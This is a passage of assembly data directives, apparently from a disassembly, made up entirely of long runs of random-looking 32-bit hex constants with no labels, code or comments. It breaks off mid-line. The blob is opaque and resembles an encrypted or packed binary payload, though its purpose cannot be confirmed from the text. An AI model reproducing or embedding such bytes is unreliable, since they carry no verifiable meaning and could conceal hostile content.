796AE3CDh, 0ED293EA8h, 41A1F689h, 48937400h dd 0D800CD01h, 7C49831Ah, 2127EE8h, 0D63C21DBh, 28486FCCh dd 498448F0h, 5400F89Dh, 0D1C80935h, 8700A286h, 0B6CF136Dh dd 0F8271EFh, 8E586A52h, 0B5BB4660h, 0F1009936h, 0FD19BDA9h dd 743C2B61h, 24D558B7h, 108E007Fh, 56A8BAF6h, 0E0BF40C8h dd 0B51D17Fh, 0DAAA682h, 0A9156C80h, 671CF0C0h, 24C175AEh dd 28E15E59h, 0F8931DE0h, 5BFC9Dh, 0C1CC8F57h, 0E2DD3D87h dd 45AEEC00h, 9EE46F51h, 282202B8h, 0E7F5555Ah, 50F99CC8h dd 8B917C09h, 62FE03F8h, 84AE0043h, 65078F63h, 1E077555h dd 0B4A7044Fh, 24A5321h, 3AE660E2h, 545928ACh, 0F44C9008h dd 63860356h, 67975D03h, 0B6A75CB0h, 2A41648h, 52C9B92Fh dd 305160B8h, 4DEB028Fh, 0D83F4EE9h, 15BE8C8h, 7199B501h dd 0B99F7847h, 0FCD0A5D1h, 92157165h, 4950BC8h, 670333D0h dd 40D7668Fh, 9244487Bh, 0AB67C916h, 18F1D40Ah, 1863EA00h dd 0D09958Fh, 0BACD54E7h, 6B618018h, 9866CE5Ah, 7D8907FAh dd 2911E7D9h, 0F96E0420h, 28004E15h, 4063628Fh, 7A4DE490h dd 0D9D4310Eh, 41AE65B9h, 80AA3374h, 0CF5F0698h, 1EF2DC0Dh dd 8061A535h, 18B76B4Ah, 0DD0090DAh, 0D7203C86h, 2EA7EBh dd 87E86C1Ah, 7149E5CBh, 0EE77CF00h, 0CEEBC24Ch, 0AF1E00F4h dd 13700127h, 1B009945h, 0E7C645Fh, 17EFF5h, 67E3A4A1h dd 852468Fh, 93EE1F00h, 185CDA9Ch, 0E770FD32h, 33DE0074h dd 0CD49B81Ch, 0C756041h, 387C9CA0h, 1B8BF300h, 7A2380EBh dd 614C0F07h, 5FFCF9B5h, 0FC608EC5h, 480E18C2h, 0D2C8B087h dd 2840EED0h, 7F126786h, 3043B084h, 501B61BCh, 1DE72CD6h dd 29BA5B55h, 0E9730094h, 25CE6E1Bh, 134FEF00h, 0C3996328h dd 0D58C5A9h, 5CE04012h, 0E2CE182h, 28F69516h, 0CC78AC03h dd 0C9881001h, 66DC1037h, 7EC15688h, 5BFC8B1Bh, 0B74486BAh dd 1BFA9Ch, 0CB46A164h, 2E8DA8A5h, 6495D00h, 0C1B240D8h dd 18087320h, 2CEACFABh, 6501241Dh, 427A9E0Eh, 2882DBDEh dd 0D580E50Ch, 0C6003C44h, 9F7BA771h, 6AF3031h, 0B0478AE7h dd 5B0721AAh, 0D5EA779h, 40C6488Ch, 253DED78h, 0F0380086h dd 45CF2A0Eh, 0BC5F000Ah, 0F8BCB2Ch, 0D048DFAAh, 47DE00B2h dd 0DCD5BD24h, 8699004Dh, 91301A9Dh, 405870F9h, 9660743Ch dd 9D078021h, 727CC1h, 67B3F2ABh, 0E3926D9Fh, 0B94DDD01h dd 890FD1D5h, 51E83186h, 0EB0018DBh, 5F641EF3h, 2E3634A6h dd 18B8240h, 3C0ACAD1h, 8A21CCBEh, 0DDDCEF1Eh, 0B94039D8h dd 331500B5h, 0D01756A1h, 9CD5E95h, 4CFC2144h, 0FE640033h dd 4BCA23B8h, 0CBFC71BEh, 881B4830h, 338E4C42h, 0FCA1D98Dh dd 5F01FEE0h, 39751A06h, 8008B257h, 1C31D10h, 7E66FBFEh dd 205BF4D1h, 0A90184A7h, 0D3CEE406h, 0E180B997h, 0FEAA4A46h dd 0E11FCBDDh, 20F65406h, 6A3E1018h, 1A608DCh, 0FDB820C0h dd 9C041318h, 0F7C9301Fh, 4B21E532h, 48C49D84h, 14A56612h dd 20CD0CBh, 106E013Bh, 0E63E0365h, 0B2871052h, 5DDA90AFh dd 7B0019D4h, 0B01D4455h, 3AE5D54Fh, 723D50C6h, 85D41F80h dd 80493682h, 5F004FE8h, 4622737Bh, 0CA39111h, 151B1F02h dd 1E607F28h, 0B1ED2631h, 0C6801373h, 0CC6A0314h, 86D80C56h dd 2C646D39h, 0E4401131h, 0A7CFFA6Eh, 0EFF0367Bh, 4801BA01h dd 0C783229Bh, 18589194h, 28EA201Bh, 817DB01Dh, 0E1A06D1Bh dd 10B174F3h, 0D262A730h, 3136992Ah, 0B76544D1h, 1AFED07h dd 512F828h, 0E2C37551h, 16646272h, 374018A9h, 5690C2BEh dd 68A61136h, 3FEF0719h, 40AD93FEh, 5315ACD1h, 204760CCh dd 0E07E1C22h, 31EBD9E9h, 1A8470F3h, 5F03FCF6h, 3E4E232h dd 6273B8FEh, 397D4Ch, 1401025Bh, 5CEE4256h, 783650CFh dd 0E2E7B9h, 879EE845h, 58960B3Ch, 266E18C3h, 22E9069Ch dd 0A8E0C3CDh, 0D8612AF8h, 6AC1D919h, 0DE35498Ch, 0A7744420h dd 1D27380h, 847A0EF7h, 489AE120h, 8CF15FA8h, 415236C1h dd 4DC400DAh, 33199240h, 7E58AFEFh, 212450F9h, 0DF065CF0h dd 0E1B390D8h, 77350E48h, 7881EEBEh, 45C5150h, 117CE863h dd 7D9128B1h, 14DC6354h, 6AB44Ch, 752AC49Eh, 60565E9Fh dd 36B37166h, 48C08183h, 23FA8E15h, 609F3A69h, 0FE614700h dd 2A09C16Eh, 3649120Eh, 0C9664CC9h, 56340133h, 0B8920CCBh dd 0CCA053EEh, 84A5F8CEh, 0CA558980h, 9A7F11h, 0DB0DFFEAh dd 845C88D6h, 724420C5h, 110F9C41h, 65FC5D8Fh, 7B520462h dd 80913B3Eh, 3735F91Ah, 0B2A34B00h, 0AD0121D2h, 60257B95h dd 2AC2C98Ch, 46004537h, 0D387A69Eh, 2605D0Eh, 0E3F8EC5Ch dd 0D844DF17h, 0A940152h, 0DCAAFC20h, 63505B43h, 0DB881019h dd 7ED700E4h, 0CE1D18h, 1427FDBEh, 0B988A60Fh, 2F8920C9h dd 1C329228h, 6E3414E5h, 9842592Dh, 0A4CECFB3h, 0D08D93A0h dd 4E214888h, 3440A613h dd 9BE48FE9h, 0A4CF12CBh, 0F45F5Ch, 92B4CE23h, 59C1ED2Ah dd 3C82D201h, 622F46F0h, 0E4D96135h, 2885C892h, 0CF7403AEh dd 5124566Ch, 0B030447Ch, 45990A6h, 5C05576Dh, 0F339810Ah dd 0D14C24DFh, 0FC86A601h, 533EAC79h, 0F018E456h, 77C90241h dd 0A1FD29F6h, 1E03AC90h, 7E400C91h, 7A5159E1h, 22AB03EEh dd 54CDB08Fh, 802F9828h, 0AC387C50h, 14806949h, 1E10D413h dd 897EA6E5h, 81FFDC5Bh, 0D675E12Ch, 6044E424h, 0CA2E818Eh dd 0EF00F738h, 6BBAEAB8h, 3FC64822h, 1B06FA7Fh, 58454D37h dd 6497D91Ah, 26AC85A1h, 0A422C44Ah, 8FEFA68Fh, 0C1CFE241h dd 0E0C49365h, 3177D10Ah, 20A9B6C6h, 21B033D2h, 9EC89156h dd 0D073E013h, 4CCC846Eh, 0DF4B144Ah, 14D28825h, 3A5105Ch dd 0E3795A04h, 81ABC9E9h, 0A2A10779h, 0A8A28917h, 6CF34820h dd 894D7F86h, 55CEF501h, 0D99C4178h, 0C6CB5DD4h, 5198DBA1h dd 39C98879h, 29C5001Dh, 3E7435E1h, 3B805EBCh, 0E36B4DD4h dd 0B9241037h, 39940C7Fh, 70A12224h, 60089172h, 0B38BF11Ah dd 0B90318E6h, 53721B9Eh, 0D42951A1h, 0B3789408h, 87350628h dd 29029983h, 0CE2C5F8Eh, 0A15C40F9h, 0B5680D57h, 107950F6h dd 3446829Ch, 39908631h, 74E85059h, 0E26CE261h, 26EABFh dd 2443DA78h, 29C3288h, 9AFC960Bh, 0F414108Ah, 36228873h dd 1CB66744h, 40EAB902h, 1B5BE8B7h, 8600D491h, 59F36BBEh dd 502FE7h, 535C5A8Bh, 4E376EBAh, 0F83408C0h, 1EF2478Ch dd 196F7C85h, 10422141h, 11051A6h, 0F805A044h, 0FCA340DBh dd 58021D43h, 715DFB79h, 211C816Eh, 48869288h, 78CAA150h dd 2A0048F8h, 9026AF2Dh, 3F66DBE7h, 9102F962h, 0B138E9F3h dd 995145E1h, 0F0087E39h, 378FD8F0h, 0C060CFACh, 73D2D4F5h dd 1400E9FCh, 42ABD5C7h, 31FE39F1h, 28E80DB5h, 24B8A289h dd 0F19499C0h, 1139DC04h, 6DA4E0Bh, 599C37EEh, 6C38F830h dd 8B8919C8h, 981F6429h, 0B9FF08h, 4D730DCh, 0D5EAF13Fh dd 1341BB0Dh, 0F4D7F035h, 94C32D00h, 5400A4ACh, 0CC33D180h dd 3F3268Ch, 2CF07117h, 5930D095h, 2D53B108h, 1857FAA1h dd 7847B0D1h, 0C63DCD5h, 7C5AD21h, 8B2115D9h, 2FC7D00Fh dd 0EE705AF0h, 5E84B511h, 609C6E28h, 5BB2C983h, 0C1053F48h dd 0BB13ABB9h, 518D413h, 6F5E8B51h, 8A86E959h, 0A13019BBh dd 0A38D51F3h, 529C31F9h, 8576031h, 5AD14489h, 54A1E740h dd 888438h, 96DD0EEAh, 3BB907D4h, 0B5014FE0h, 0E0E1B60Ah dd 488C53E6h, 75122FFh, 396B4500h, 5D2BEB5Eh, 58D4492Ch dd 0A381B5C0h, 0F6500925h, 0A4AE7480h, 0D3062E00h, 5D9866F8h dd 1F61C88Fh, 0AF81329Ch, 75C2C9EFh, 2B2A80EFh, 1989FC43h dd 0B8366B70h, 0EBC99DD6h, 63470020h, 0DE493FBh, 97051E62h dd 0C22D90D5h, 645B8848h, 0A8F608Ah, 4987F33Ah, 0B1761969h dd 5414DF39h, 0D4BF11C4h, 3D665A0Ch, 0B1746749h, 0A6AE0E00h dd 8A9B483Ah, 4EBC1F4Ah, 0FBEC090h, 5E8F0A78h, 24601D49h dd 2C0050FDh, 0F0D53BF3h, 0EE540471h, 9258FA2Ah, 3C144F70h dd 2C402E46h, 5A0C5350h, 22A4F848h, 2A9098BBh, 32B0A2A0h dd 9A19B8A8h, 27EDFF40h, 43CE9603h, 28687EAh, 0A87E94D9h dd 38449DB4h, 6F7BD210h, 0A50E1053h, 64600A08h, 0DA9C3687h dd 7EB94D01h, 62A38432h, 0BA529D40h, 70C9B82h, 9004A803h dd 1B838A93h, 73C5B49h, 4CAD845Ah, 0D375F71h, 4FA6B19Fh dd 0EFE0AF05h, 942BB72Fh, 0BE071602h, 0A023FF58h, 6D0433B8h dd 2FED03AEh, 28C954CAh, 9F8BB0D9h, 95428E20h, 4927E764h dd 66105C28h, 5B02DD59h, 51756D6Bh, 0A254A42Fh, 0E308C8h dd 84675A07h, 37B9CC72h, 2CC77900h, 927D28A5h, 1D540026h dd 0AE19474Ch, 0E61DF6CCh, 73CAC68Ah, 3804A024h, 53408BADh dd 20BD1ABh, 66CF1000h, 883A767Fh, 0ED682823h, 358E1598h dd 3E00809Ch, 4E980DC2h, 773EE80Fh, 8062385Dh, 0B245DF5Bh dd 1EC359Ah, 0D5593FFAh, 23B9F3A8h, 4371828h, 45C349h dd 93C633C1h, 0FC1F4D69h, 5470AB26h, 4606A088h, 8C01A983h dd 82F180B3h, 9C52786Ch, 8F37201Eh, 0AC003659h, 3050D013h dd 24AE3B17h, 684867DFh, 0A0FDC1FCh, 56024DCh, 10CC4200h dd 9D19BB6Dh, 54D60632h, 697D13AFh, 925044h, 0B993B65Fh dd 47A1E446h, 4FEA2800h, 6A41BE3Ch, 0BBFE10CFh, 0DB2050BAh dd 0A84949h, 0DF1693F0h, 90E87781h, 0DA4F22E4h, 9717EE04h dd 9CCC518Bh, 4116F9D0h, 803C7458h, 86221A37h, 4210A4BBh dd 78391741h, 98E43115h, 836FAB50h, 1BD46852h, 0A420F72Bh dd 482D898h, 0D9C973B6h, 98B884A4h, 7B382B98h, 0B766731Ah dd 6738B199h, 4BD269F8h, 5C029832h, 0B8AA0B0Ah, 0D019C078h dd 632F8260h, 1A35CECh, 8D8E763Ch, 40007240h, 18C35A28h dd 26C7390Ah, 0E0ACE749h, 61AEB740h, 0E33AF600h, 0B696121Eh dd 351920E8h, 8D2C7243h, 0BC425234h, 0F3026046h, 0EDDE476Ch dd 59CC11Ch, 6FB0B10h, 4C989053h, 94897760h, 99FF9070h dd 9B7D00BCh, 7515E62Ah, 5196F502h, 0E0F62D6Dh, 0E44738D7h dd 0E8880ED0h, 0C094D128h, 410FF89h, 0AD071FF3h, 38632F66h dd 31956C6h, 3116127Bh, 0C1EEEA75h, 91C470ECh, 0F123445Ch dd 9C784388h, 26618261h, 0DCCD2D8Bh, 0B9E57CC0h, 0DFA23E58h dd 0F4D6D515h, 21F034BCh, 0EABD188Ch, 5DE7005Fh, 0EB8F3848h dd 0BE0481B8h, 532529F6h, 0EFD3401Ch, 5941D5C2h, 0F38F8212h dd 0E9174C01h, 0F0A9B30Dh, 0E4E89514h, 6400DC22h, 0A3BDC59Ah dd 1FFA878h, 93EB0C7h, 974FE0F5h, 0A0203660h, 0CCCA39h dd 3D2556D9h, 0E2B4317Bh, 0C40E2A28h, 0B72144h, 121A73DEh dd 9E2DA480h, 7D7AF61Dh, 0E96B630Ch, 18110039h, 8094D6FEh dd 0ACA9C47Eh, 0A1C034B2h, 0D3744h, 0EA2A4F24h, 0E8C1A82Bh dd 0F9E77C00h, 2E626D67h, 74354C9Ch, 0A7C07480h, 0B601C3F1h dd 8E68D90Eh, 0C4313D4Eh, 30504C22h, 452A8443h, 0F88684F2h dd 0EA27E302h, 4962F3DCh, 0E823D160h, 0EABC5E2Ch, 4B976020h dd 3B134CEAh, 24286378h, 73B70629h, 914CD1CAh, 8C55E0A1h dd 89DEA159h, 0B32E00A9h, 84BCF831h, 3801F468h, 1FD7C6Eh dd 0F4268A87h, 691F0503h, 51381531h, 8824C57Ch, 89EC0990h dd 18A2FC8Dh, 90518B86h, 518A5510h, 5CFE8388h, 618607CAh dd 0A77E3901h, 691D240Bh, 30B948CFh, 0A038CC50h, 12593A1Ch dd 3249EB99h, 6F26C870h, 95050031h, 0B507B6AEh, 5D4A8B9Fh dd 3C857825h, 0F09FD4CCh, 1EA604F3h, 0C4E37F87h, 90C8D41Bh dd 696CF080h, 68ACDE28h, 3F518D3Dh, 1AF38ED2h, 9E5C20B5h dd 5CCA5232h, 758D64F5h, 8F3441B1h, 80C6E127h, 0E471C11h dd 76AF72A9h, 84851297h, 0DB18448Dh, 0B9785806h, 39CF07EFh dd 90596F1Dh, 3AF38EDFh, 9A37609h, 8D184846h, 3D6CAC97h dd 0A60EF96Fh, 0D741E42Ah, 3233551Ch, 0D9144C24h, 0B08DA79h dd 59DD2C37h, 8952D4C2h, 0B0B48864h, 24361409h, 98A46698h dd 2AB000B7h, 62C98442h, 0CA006108h, 0B8D9CEF2h, 1E920C12h dd 0C968390Eh, 0F88BEFC0h, 5719B8B0h, 0F0C5B83Ch, 9D0BCD00h dd 4656330h, 3E44181Ah, 0AFD588F1h, 0C0254A9h, 8CA8EA3h dd 0B06D875h, 829D914h, 0BB7E278Eh, 0A66330A6h, 7F298002h dd 0DC301B9h, 0B6FD3B8Fh, 0ECE4D634h, 7D834804h, 3C89E1DBh dd 2C111561h, 70103Ah dd 0C9C112D3h, 81A895DCh, 82544810h, 0C37DB6E9h, 94C466h dd 5604576Fh, 7B62256Dh, 66E49251h, 119600A8h, 0E84DBDDAh dd 0B75F0F61h, 2E715C07h, 0E8E8C4D4h, 9C378384h, 0DF916B40h dd 800334Ch, 8ABB5F38h, 3DB9C1CFh, 10F5BEF2h, 151A927Fh dd 2728CDD5h, 3BCC20A0h, 0FA025EF2h, 477003FAh, 752E653Dh dd 0FBD0ADC8h, 282A8572h, 14218C72h, 0A0360CCFh, 1F00C289h dd 5B8656A2h, 0BBDF48h, 63FE0A12h, 0E973604h, 3A2CACA4h dd 946E58EBh, 0C70384F8h, 0AB440953h, 1C50AFh, 113BCD3Eh dd 0EB00430Dh, 0D1B645B3h, 74DAB2h, 0AD841F4Bh, 8ED4D83Dh dd 4C117E2Ch, 4B665A89h, 2CAD88ECh, 0DFC900BEh, 0D96B99D8h dd 0F2187224h, 146984AAh, 1244000Bh, 0CBF45AEEh, 57EC4203h dd 98B72300h, 0EAA54C1Dh, 0FDC9CEA6h, 0CFC3F494h, 3FD09D8Bh dd 9F481E55h, 8CCA1618h, 0E8F84804h, 0E6A4C812h, 21DD250Fh dd 4821906Ah, 0EBD0D288h, 3C50FC32h, 39808E02h, 46DC7294h dd 52014B58h, 0D6688834h, 0C5FCC077h, 250F4400h, 6FF8C756h dd 34838008h, 933D8499h, 608F468Ah, 69468965h, 0A37CD054h dd 518840Eh, 5D8CF22h, 0BC0058D3h, 0A86CB2Ah, 186C7445h dd 8F2D0A3h, 85602430h, 0FD59CA10h, 0A9E890h, 0F3F0930Dh dd 262460ACh, 526A20C7h, 25D6C757h, 53060011h, 0F01D1B1Fh dd 29C0678Ch, 0CC6B0981h, 7270C4CAh, 8B2346BCh, 0C5620069h dd 80611C78h, 590C37E9h, 28D4CED1h, 5D0422BDh, 2BA4261Ah dd 0C98F06B8h, 41E2C020h, 49EAC783h, 0CA1CCF7Fh, 70F77F17h dd 7C79D4E6h, 56A8876h, 58509D00h, 0F62C1C7Ch, 83B2069Ch dd 0A8152D0Ch, 0A3232603h, 0E9847E22h, 198C4AF9h, 30C9096Dh dd 1EF2C400h, 72859604h, 0E2F806E1h, 98E3C64Bh, 34B1A863h dd 0CDA900BFh, 0D66BB12h, 0BD3D67AEh, 10E100E4h, 0FFCE8298h dd 78B180CBh, 0A25F105h, 5800836Ah, 0D8F00506h, 8010549Fh dd 8CC453C3h, 0E2540607h, 0C00F4167h, 46BC5723h, 0EB00218Ch dd 2B1E9D52h, 12E95DF4h, 4A32B8CFh, 608C4C00h, 0FCC4BAD7h dd 0E81C9031h, 489DA43Eh, 83072050h, 1DF8298Fh, 0C4489425h dd 35F9FF7h, 0C87F895Ch, 98A40BE2h, 9CF24112h, 3F45D5Eh dd 1B34927Ch, 0F97B17D9h, 0D47C2EC2h, 0D051D318h, 0F0990204h dd 1DABBE39h, 950A2600h, 0B1270011h, 0C5075A4Ah, 6E0AEC55h dd 7C9EC4E7h, 79B14E18h, 687E422h, 6698323Dh, 0EE63207Ah dd 704F2481h, 61C40529h, 81C84599h, 41153A66h, 81CB7238h dd 43066891h, 78226D1Dh, 0C8B737Ah, 0BE2D1675h, 0DA1F29B9h dd 33C17CCAh, 43EF020Eh, 0AC274C45h, 0E6316870h, 286A0582h dd 5F91CF6h, 40666D84h, 4C477D98h, 9D009F14h, 8D5B455Dh dd 2048AC4h, 0F761933Dh, 0C30470F3h, 0CE4B0A03h, 2123A918h dd 4C66D9h, 5A348742h, 7081B018h, 641DD90Ch, 3017685Ch dd 30B9F18Dh, 0AA3F0669h, 8E298AD3h, 0BD88C8A0h, 51CA85FEh dd 6A8C210Ch, 978110C9h, 0E4E4A8FCh, 0EF1D138Ch, 34304685h dd 6D0129F5h, 37A0EC44h, 0D45CFD0Ah, 3857166h, 0B2B9D246h dd 5915F2F1h, 3F8802E2h, 71C078C3h, 0A959ECF6h, 7543001Ah dd 4F7EAFCBh, 0A41E0D38h, 0C0642B47h, 0BD761741h, 0A844D312h dd 57452100h, 0CE1DD462h, 0E94B6FC6h, 10A41F64h, 68F7C0C4h dd 719C70DDh, 0A220025h, 0B93892B4h, 317DFD2Fh, 923DC420h dd 41A76434h, 60854F65h, 0E7934576h, 0F25E0179h, 0C963AE2Eh dd 0F0DCE49Bh, 809438D1h, 7192E67Eh, 0A0E87947h, 28206AACh dd 4464FB98h, 0EB004575h, 5EB91865h, 70B7F20Bh, 0A80A859h dd 29856A71h, 66A50051h, 8D1314C2h, 2B60C549h, 5A808CB7h dd 0C914BB49h, 0EC7510D5h, 0BCD329A2h, 95067E00h, 2C8E72EBh dd 0A410A5h, 3FF7FC3Eh, 4A29C4BCh, 0EF08A01Eh, 0E45200CBh dd 0FF065F7Bh, 0C71E43FEh, 5AC0B15Eh, 7432193Fh, 6B683077h dd 0F5058138h, 0C6C8A888h, 8C7A7F0h, 0E43452h, 0FA1FE314h dd 0C3993Fh, 9A5EF4B5h, 0C25879E1h, 486E98A9h, 8F0054E0h dd 0C99EE3D5h, 1D7983AEh, 0C07EBFDBh, 0B4EC382Fh, 202954C0h dd 0BD0DC092h, 0C892F847h, 14702225h, 6D4460C6h, 74264C6Ah dd 0FA801388h, 0D3B73B58h, 0D7ED3B07h, 1C33A981h, 5050CFBFh dd 0B67F6A90h, 0FD2BD309h, 66A0909Bh, 1C0D0525h, 8027B83Bh dd 1A08354Ch, 0D9B54601h, 7997AC7Ch, 823ACC34h, 0F630E020h dd 0AB0475C6h, 430B9C03h, 88CDA4C8h, 0A60FEC7Ah, 208975DFh dd 1213C95Eh, 8BBB00CFh, 0E78599A4h, 44E1BD35h, 0EEFC907Ch dd 10998917h, 51C7D30Ch, 0E91E0DEAh, 410FBBFh, 3124DDD4h dd 10E409F8h, 0FD241790h, 342B0A4h, 71FC3D2Ah, 33CC4109h dd 0D96C00ECh, 0EC6F01D1h, 0CC0E5810h, 20B3AB8Eh, 8A8E52C0h dd 4278C3Ah, 4A7F82B5h, 99588096h, 0D0C51418h, 0FBE485C0h dd 0A13C5BE8h, 61A6007Ah, 0C21DA5B6h, 0F4A05895h, 0EE801788h dd 0F4970A20h, 96400090h, 0B8ED2B31h, 0D3636A13h, 3423F1h dd 0E397BB71h, 0BF18CF9Fh, 0EA6AC00Fh, 0CDCCC7D9h, 0AE462330h dd 2AE0B29Bh, 0E8416D2h, 787E7A33h, 93CFE5A0h, 6701E891h dd 0A6BF9CD1h, 77F84263h, 7469016Fh, 6E8C2837h, 50B057FBh dd 0C89CF81Fh, 0B04F9415h, 0FAB811C0h, 54770A15h, 0F9AEF5C2h dd 0D32A140h, 814F2A1Dh, 25085440h, 7E21BA4Ch, 30A8D68Dh dd 18D0E960h, 90A89100h, 0B4595827h, 0E5BE0146h, 0D8A40469h dd 8699884h, 90368F08h, 0D0100DAh, 14A97516h, 0F2434CAh dd 0A64AC92h, 69F3185Fh, 5A0068B4h, 0A1EE1D4Dh, 99C7B7B3h dd 247C2AACh, 80206223h, 5989CDF2h, 3C9AA1C5h, 0E5516C60h dd 0B8E93E8Eh, 0CEC10015h, 44F045D4h, 7B09EC85h, 22CB9846h dd 0C80B8D10h, 0CE51B7D0h, 902D61h, 0E77C53BCh, 1D12D418h dd 904764h, 0B33F1EE8h, 495C3B1Fh, 80F288F4h, 3FA7F339h dd 7F0429BDh, 0FE4FCD9Fh, 3802DC84h, 0C8F176B7h, 4CBDA490h dd 14B09CFFh, 2D037CE2h, 8895AC8Bh, 0DC408FEAh, 13E1B690h dd 190167EEh, 1033B1BCh, 7E689Eh, 617C105Bh, 0EFE98AAh dd 0B2093Eh, 0F0ED9C07h, 90881C2Eh, 500224C4h, 0C86A6594h dd 4C908B74h, 88EC3000h, 0D9B63848h, 485FECB1h, 0AC4D90ADh dd 204BECA1h, 0E9002A25h, 26D45D01h, 52F7D38Dh, 0C1008063h dd 1355EC22h, 0BF2EC5D0h, 0A060F815h, 16F6AE8Dh, 44EAA6D2h dd 44F393E0h, 4B24CBDh, 84D85168h, 88F9CF81h, 1A224C78h dd 892D4487h, 0E1EA8500h, 78C64154h, 0D2260766h, 0B0747743h dd 0CBF68B98h, 0F400E49Bh, 48B16630h, 8D40005Eh, 0D282A37Bh dd 0C433883Ah, 11F3600Fh, 248A4799h, 0D940CC6Dh, 0E2ED8366h dd 0F7A5261Ah, 0B47C4484h, 8AFFC74Ch, 0C4164941h, 511F4F42h dd 0C40C00B8h, 6B354265h, 7C91E726h, 0E28E2041h, 2422C049h dd 0BD7E5500h, 0D880CDADh, 2EF138h, 0CC59FCB3h, 93A1312h dd 8BD20A91h, 6C742098h, 3EDAB702h, 578A8DEh, 0BCDC00EEh dd 9D7CD88Eh, 0C3379F12h, 4A00585Dh, 0EE40730Bh, 6E421Ch dd 0F9C6914Ch, 381FB7E5h, 0E700410Fh, 0F69D79D4h, 0F9A06099h dd 0E8B01540h, 0B181D091h, 0C450EE4Ah, 52F0BAC6h, 0EC550774h dd 4076BC6Dh, 5FF08F51h, 88D4334Ch, 32D58C0Ah, 0B00BB28h dd 77FD4C0Ch, 243F12F1h, 87686836h, 941DD069h, 2E3CE424h dd 0F90440Fh, 0C83AA016h, 2673A19Bh, 8D0260Dh, 6C07867Fh dd 0E68E0F74h, 122F210h dd 9922C6CDh, 29E97F20h, 208C27A0h, 83B23F8Ch, 4AE8B04Eh dd 0AD2832CCh, 990B9580h, 869828FFh, 9842FA00h, 7E40FCEDh dd 656A09F5h, 0C8C9A43Bh, 3F4441D3h, 822EE06Fh, 4015800h dd 0BF0CB0D5h, 0BDE0C11Fh, 37A419EBh, 837C3E84h, 181F12B5h dd 0D823E0EEh, 0DCC9023Ch, 93FDDB62h, 7358900Bh, 3F2A00AFh dd 0E71E13E5h, 8403E67Bh, 5446D287h, 7E73B837h, 430D03A5h dd 500C6CD6h, 2F1FD1E7h, 0F0188655h, 8A497h, 653442F4h dd 437C0E89h, 4BEB21C0h, 0E65E279Bh, 4F740002h, 9693D636h dd 940CA2DEh, 59A554EEh, 0F408C16Ah, 804DA68Dh, 0CE890218h dd 4FE02Dh, 7D81510Ah, 1D841E94h, 0A6469E06h, 0C06888CDh dd 0C9CC4238h, 326F5BD2h, 8ED8D41h, 0C02455CCh, 68F79129h dd 18005D9Fh, 3DF1DC3Bh, 0E7D16Ch, 64668C84h, 5256EC1Dh dd 0C45E31C0h, 3716CE4Fh, 135893FAh, 0E11F261Ah, 0C1F1D443h dd 7980A78Eh, 784858CCh, 99001449h, 4489B794h, 19E18A2Eh dd 29B3D48Dh, 10A85101h, 8AFC0936h, 3FD60165h, 2FED6DFEh dd 5F618049h, 0B3BB3B36h, 64050016h, 83EF998Fh, 0F403EAF5h dd 0A0B943Ch, 997098h, 1C50B56Ch, 1D2F8B79h, 0F0B4CA06h dd 108C9DFh, 0AE6EFFBAh, 438C2172h, 50E06AFDh, 913080BCh dd 6E88313Ah, 0BC195F94h, 0ED1879C4h, 0A3596D67h, 196038Dh dd 63EF3972h, 0CA8BC4A8h, 0E8052D01h, 2ECF540Ch, 44C5488Ch dd 3300A451h, 2AEB8C22h, 3E9FF01h, 54BB73DFh, 899BCA1Ch dd 0D6B869F0h, 0C06E760Ch, 6055B1EDh, 0FC50400Fh, 0D600FF3Bh dd 0AB70C5B2h, 3AD26D0h, 0F181CDCh, 281401A2h, 4C544443h dd 604D30DEh, 71A6D9h, 436533DEh, 5F70B0DFh, 0B722F908h dd 38C2030h, 0C5588DDCh, 39012618h, 0F95CCE46h, 1086EE50h dd 91BFAF1Fh, 50A43778h, 8FC61D09h, 35A2805Fh, 7665FD7Dh dd 8AE06EFh, 315E1E72h, 0B2C944h, 0E2534F29h, 749AFEB7h dd 78088A30h, 0CE4CFDB3h, 92293670h, 0F0FA1480h, 1A0039B7h dd 1FC67532h, 0C02C84FDh, 7A346A30h, 58C66B26h, 0F808C567h dd 0AEEA0706h, 0F00F335Dh, 93A4453Dh, 38B058DFh, 0A841A879h dd 6F4743D0h, 358A39C7h, 0B311B180h, 28A1028h, 5D0D1C17h dd 907E416Eh, 24624004h, 8D016720h, 1FEA2783h, 41841AC3h dd 4C0D3EC5h, 3146B12Dh, 0BAC63F94h, 67298A68h, 7680DC79h dd 88DDCC12h, 91DB0084h, 588074A1h, 9C494310h, 3049240Ch dd 0A1073991h, 3350202Bh, 49007B68h, 3769C4AEh, 4C106FFBh dd 0CD1EA9F5h, 839DC3BAh, 9851FC4Dh, 0A10AFF52h, 30E04A54h dd 0BCF0B881h, 21BD27B2h, 8017709Ch, 697A8E32h, 81C440C5h dd 58C1C6E3h, 9F49862h, 0C83B04C9h, 0C0241683h, 6AACB7A6h dd 64512D14h, 8D3C80ACh, 98F41E57h, 80BD0A49h, 80BC4EA6h dd 0E54CBB48h, 0D300BCEDh, 0F0764406h, 9BC22Dh, 1B269315h dd 41AFA2A3h, 67419EEBh, 45C46643h, 0B1780Bh, 8B46DE7Ch dd 277589D2h, 403F4428h, 0B61DA200h, 2833ED3Eh, 8A79211Bh dd 22654502h, 0E24443F9h, 6014448Dh, 89500955h, 530F9182h dd 844BFEC8h, 8C91CB35h, 0B7F08AD1h, 0A19CA47Ch, 3C409B30h dd 453BA3h, 35E63F5Bh, 5657986Ch, 8E210E60h, 37C16Eh, 7962602Fh dd 94F64B43h, 238A3C1Ch, 241BCF42h, 2DC444B9h, 0B9D03230h dd 942DF528h, 5400AF74h, 29ED7A4Bh, 19EA21Bh, 151370BAh dd 81BF683Bh, 1A11B289h, 80E00E6Ah, 809166h, 52F66598h dd 8500A295h, 6EC91606h, 1EA5B1E3h, 716F17BAh, 0B59148h dd 1E83F97h, 3CEB7675h, 8A124BC6h, 982CC5F9h, 9035CE80h dd 1AE3BCh, 66E6BBE7h, 0EA303470h, 1C68D3Ch, 0D72A8238h dd 94208F18h, 4C9A6Ch, 0B6FEB29Ch, 0D2C6B66h, 10BDC424h dd 1FC9E702h, 348491BBh, 9121E4E1h, 0B4006405h, 2D541E87h dd 3FC518E7h, 37B8990Ah, 91795D09h, 35381056h, 0DC8B5213h dd 59C2637Ch, 0D4D87A4Eh, 77007223h, 0B675223Ch, 13BBED35h dd 0F25AFA5h, 0E3233BC1h, 380041F4h, 0A334B7B8h, 980B8D60h dd 0AB0920Bh, 7A6806ECh, 0EA98879Ch, 2DE82048h, 0E093B71h dd 199F0A2h, 6B20025Ah, 8AC0B830h, 3A413042h, 0BE5C3108h dd 0CEED00C9h, 683943A2h, 0AF59C074h, 58472E8Fh, 0C0921B00h dd 1AB45227h, 